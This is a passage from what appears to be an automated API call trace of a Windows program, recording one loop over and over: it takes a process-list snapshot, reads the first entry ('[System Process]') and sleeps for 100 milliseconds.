th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.898] Sleep (dwMilliseconds=0x64) [0245.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0245.979] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.078] Sleep (dwMilliseconds=0x64) [0246.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.093] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.192] Sleep (dwMilliseconds=0x64) [0246.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.206] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.323] Sleep (dwMilliseconds=0x64) [0246.335] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.351] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.424] Sleep (dwMilliseconds=0x64) [0246.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.468] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.535] Sleep (dwMilliseconds=0x64) [0246.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.586] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.692] Sleep (dwMilliseconds=0x64) [0246.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.705] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.803] Sleep (dwMilliseconds=0x64) [0246.805] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.817] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.896] Sleep (dwMilliseconds=0x64) [0246.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0246.943] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.009] Sleep (dwMilliseconds=0x64) [0247.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.022] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.132] Sleep (dwMilliseconds=0x64) [0247.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.150] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.265] Sleep (dwMilliseconds=0x64) [0247.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.280] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.401] Sleep (dwMilliseconds=0x64) [0247.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.417] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.541] Sleep (dwMilliseconds=0x64) [0247.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.557] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.664] Sleep (dwMilliseconds=0x64) [0247.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.693] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.847] Sleep (dwMilliseconds=0x64) [0247.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.862] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.954] Sleep (dwMilliseconds=0x64) [0247.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0247.969] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.064] Sleep (dwMilliseconds=0x64) [0248.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.081] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.181] Sleep (dwMilliseconds=0x64) [0248.183] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.194] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.293] Sleep (dwMilliseconds=0x64) [0248.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.306] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.375] Sleep (dwMilliseconds=0x64) [0248.376] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.427] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.497] Sleep (dwMilliseconds=0x64) [0248.500] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.512] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.620] Sleep (dwMilliseconds=0x64) [0248.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.695] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.867] Sleep (dwMilliseconds=0x64) [0248.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0248.888] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.131] Sleep (dwMilliseconds=0x64) [0249.132] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0249.151] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.254] Sleep (dwMilliseconds=0x64) [0249.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0249.272] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.420] Sleep (dwMilliseconds=0x64) [0249.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0249.434] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.534] Sleep (dwMilliseconds=0x64) [0249.548] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0249.559] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.689] Sleep (dwMilliseconds=0x64) [0249.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0249.718] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.810] Sleep (dwMilliseconds=0x64) [0249.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0249.872] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.990] Sleep (dwMilliseconds=0x64) [0249.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.010] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.157] Sleep (dwMilliseconds=0x64) [0250.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.177] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.282] Sleep (dwMilliseconds=0x64) [0250.292] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.304] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.411] Sleep (dwMilliseconds=0x64) [0250.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.424] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.531] Sleep (dwMilliseconds=0x64) [0250.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.547] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.617] Sleep (dwMilliseconds=0x64) [0250.618] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.630] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.749] Sleep (dwMilliseconds=0x64) [0250.751] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.763] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.859] Sleep (dwMilliseconds=0x64) [0250.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0250.874] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.995] Sleep (dwMilliseconds=0x64) [0250.998] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.013] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.128] Sleep (dwMilliseconds=0x64) [0251.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.141] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.208] Sleep (dwMilliseconds=0x64) [0251.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.225] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.427] Sleep (dwMilliseconds=0x64) [0251.428] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.456] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.587] Sleep (dwMilliseconds=0x64) [0251.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.607] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.750] Sleep (dwMilliseconds=0x64) [0251.758] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.775] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.883] Sleep (dwMilliseconds=0x64) [0251.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0251.899] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.990] Sleep (dwMilliseconds=0x64) [0251.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.045] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.117] Sleep (dwMilliseconds=0x64) [0252.126] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.138] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.248] Sleep (dwMilliseconds=0x64) [0252.250] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.265] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.398] Sleep (dwMilliseconds=0x64) [0252.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.411] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.553] Sleep (dwMilliseconds=0x64) [0252.555] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.571] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.677] Sleep (dwMilliseconds=0x64) [0252.679] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.703] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.854] Sleep (dwMilliseconds=0x64) [0252.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0252.882] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.994] Sleep (dwMilliseconds=0x64) [0253.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.051] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.117] Sleep (dwMilliseconds=0x64) [0253.118] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.130] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.228] Sleep (dwMilliseconds=0x64) [0253.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.243] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.335] Sleep (dwMilliseconds=0x64) [0253.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.351] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.479] Sleep (dwMilliseconds=0x64) [0253.487] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.500] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.563] Sleep (dwMilliseconds=0x64) [0253.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.596] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.715] Sleep (dwMilliseconds=0x64) [0253.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.739] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.834] Sleep (dwMilliseconds=0x64) [0253.835] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x113c [0253.847] Process32First (in: hSnapshot=0x113c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 